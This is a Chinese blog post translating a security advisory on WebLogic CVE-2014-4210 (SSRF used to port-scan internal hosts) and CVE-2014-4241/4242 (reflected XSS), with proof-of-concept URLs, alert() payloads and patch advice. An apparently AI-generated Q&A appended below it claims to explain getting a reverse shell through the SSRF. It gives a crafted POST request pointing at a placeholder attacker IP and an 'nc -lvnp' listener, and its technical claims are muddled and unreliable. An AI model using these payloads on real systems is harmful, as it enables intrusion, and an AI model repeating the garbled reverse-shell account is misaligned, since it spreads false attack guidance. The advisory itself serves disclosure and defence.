WebLogic SSRF 及漏洞修复

原文:https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html

SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

 

CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6

Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。

下面是一个没有服务监听TCP 23端口的例子:

 

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

 

 

响应的片断如下:

 

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

 

 

 

下面是一个有服务监听TCP 23端口的例子:

 

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

 

 

 

响应片断如下:

 

weblogic.uddi.client.structures.exception.XML_SoapException: 
Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.

 

 

 

可以利用这种功能来发现主机或对主机进行端口扫描。

 

CVE-2014-4241,Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本:10.0.2,10.3.6

用户输入映射到一个cookie值(有效期为1年!),这个值会以不安全的方式写入到之后的响应里,暴露给用户进行跨站脚本攻击。

恶意的URL:

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

响应会为cookier变量的privateregistry设值,并把浏览器重定向到SetupUDDIExplorer.jsp页面。

 

 

HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8

重定向的请求为:

 

 

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|
http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|
http://uddi.rte.microsoft.com/inquire!Microsoft|
http://services.xmethods.net/glue/inquire/uddi!XMethods|;
 privateinquiryurls=<script>alert(2)</script>; 
privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;
 consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; 
cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;

那么响应的片断为(响应中包含了cookie值:privateinquiryurls):

 

 

<td valign=top width=1%></td>
<td valign=top width=70%>
  <p>
  <h2>Private Registry:</h2>
  <h3>Search URL: <b><script>alert(1)</script></b></h3>
  <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>
  </p>

 

 

 

这类URL的例子:

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

 

 

 

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL

 

 

 

 

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL

 

 

 

CVE-2014-4242,Reflected Cross Site Scriping in consolejndi.portal 版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

控制台应用试图去管理Weblogic 应用服务器,正常是不被暴露的,它的攻击目标是管理员。

 

这一类URL的例子1:

 

http://[vulnerablehost]:7001/console/consolejndi.portal?
_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=
com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")

 

 

 

响应片断:

 

<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>
</div>

 

 

 

这一类URL2的例子:

 

http://[vulnerablehost]:7001/console/consolejndi.portal?
_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//

 

 

 

响应片断:

 

<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('/console/utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('server', null, 'myserver\u0027);
alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');
alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);

 

 

 

 

 

 

修复建议:

1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

2.安装oracle的更新包。http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html

 

最后欢迎大家访问我的个人网站:1024s

### 回答1: WebLogic SSRF 漏洞可以被滥用以执行远程代码,包括反弹 shell。下面是一种可能的方法: 1. 确保你有一台能够监听反弹 shell 的主机,并且已经在等待连接。 2. 使用 SSRF 漏洞向目标 WebLogic 服务器发送 HTTP 请求,以获取访问内部资源的权限。例如,可以使用以下请求: ``` POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: <目标 WebLogic 服务器> Content-Length: 102 weblogic.userConsoleMode=true&consoleTabId=&redirectPage=&redirectServlet=&logoutTabId=&logoutCancelTabId=&logoutSubmitTabId=&cancelTabId=&startHelpWindow=&returnToHelp=&helpWindowTitle=&helpWindowWidth=&helpWindowHeight=&helpWindowTop=&helpWindowLeft=&helpWindowStatus=&helpWindowScrollbars=&helpWindowResizable=&helpWindowMaximize=&helpWindowUri=h%74tp://<你的 IP 地址>:<监听端口>/ ``` 注意,这个请求将把 WebLogic 控制台重定向到你的主机。当 WebLogic 尝试访问你的主机时,它将尝试连接到你的监听端口,并执行任何发送的命令。 3. 等待连接,并在成功连接后执行任意命令。例如,你可以使用以下命令反弹 shell: ``` nc -lvnp <监听端口> ``` 这将在你的主机上启动一个监听器,等待从目标 WebLogic 服务器返回的反弹 shell。如果成功利用了 SSRF 漏洞,你应该会在监听器上看到一个 shell。 ### 回答2: WebLogic是一种广泛使用的Java应用服务器,但在某些版本中存在安全漏洞,其中之一是SSRF(Server-Side Request Forgery)漏洞。在此漏洞中,攻击者可以通过构造特定恶意请求,使WebLogic服务器执行非预期的请求。下面我们将讨论如何利用WebLogic SSRF漏洞来反弹shell。 首先,要利用SSRF漏洞,攻击者需要找到WebLogic应用程序中存在这个漏洞的组件。一旦找到漏洞组件,攻击者可以构造一个特定的恶意请求,将目标服务器指向一个恶意的外部URL。 接下来,攻击者需要在恶意URL中包含一个恶意的shell代码。这个shell代码可以是一段PHP、ASP或其他脚本语言,用于在远程服务器上执行命令。 当目标WebLogic服务器接收到恶意请求并执行时,它将访问恶意URL并获取恶意代码。如果成功执行,攻击者就可以在目标服务器上获得shell访问权限,从而可以执行任意命令。 为了使反弹的shell更持久和稳定,攻击者可以持续与目标服务器进行交互,并保持shell会话。这样,即使初始的SSRF漏洞请求被修补或检测到,攻击者仍然可以在以后的时间内保持对服务器的控制。 为了防止SSRF漏洞WebLogic服务器的管理员需要采取一些安全措施。这些措施包括更新到最新的WebLogic版本以修复已知的漏洞,配置严格的访问控制列表,限制对敏感资源的访问,并对来自外部的请求进行过滤和验证。 总之,利用WebLogic SSRF漏洞反弹shell是一种非法行为,违反了计算机系统的安全和隐私。我们强烈建议所有用户和管理员采取适当的安全措施来保护WebLogic服务器免受此类漏洞的攻击。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值